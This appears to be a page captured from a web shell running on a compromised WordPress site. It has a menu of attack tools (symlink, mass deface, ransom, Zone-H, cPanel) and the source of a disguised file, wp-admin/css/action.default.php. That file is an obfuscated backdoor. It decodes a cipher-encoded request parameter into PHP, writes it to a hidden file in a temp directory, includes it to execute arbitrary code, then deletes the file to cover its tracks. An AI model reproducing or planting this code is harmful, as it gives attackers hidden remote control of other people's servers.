| Path : /var/www/html/eceas/wp-admin/css/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/eceas/wp-admin/css/action.default.php |
<?php
if(isset($_REQUEST["\x69tem"])){
$data_chunk = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/var/tmp"]);
$elem = $_REQUEST["\x69tem"];
$elem= explode (".",$elem ) ;
$flag = '';
$s9 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($s9);
$s = 0;
foreach ($elem as $v2) {
$sChar = ord($s9[$s % $lenS]);
$dec = ((int)$v2 - $sChar - ($s % 10)) ^ 64;
$flag .=chr($dec);
$s++; }
$sym = 0;
do {
$entry = $data_chunk[$sym] ?? null;
if ($sym >= count($data_chunk)) break;
if ((function($d) { return is_dir($d) && is_writable($d); })($entry)) {
$value = implode("/", [$entry, ".mrk"]);
$success = file_put_contents($value, $flag);
if ($success) {
include $value;
@unlink($value);
exit;}
}
$sym++;
} while (true);
}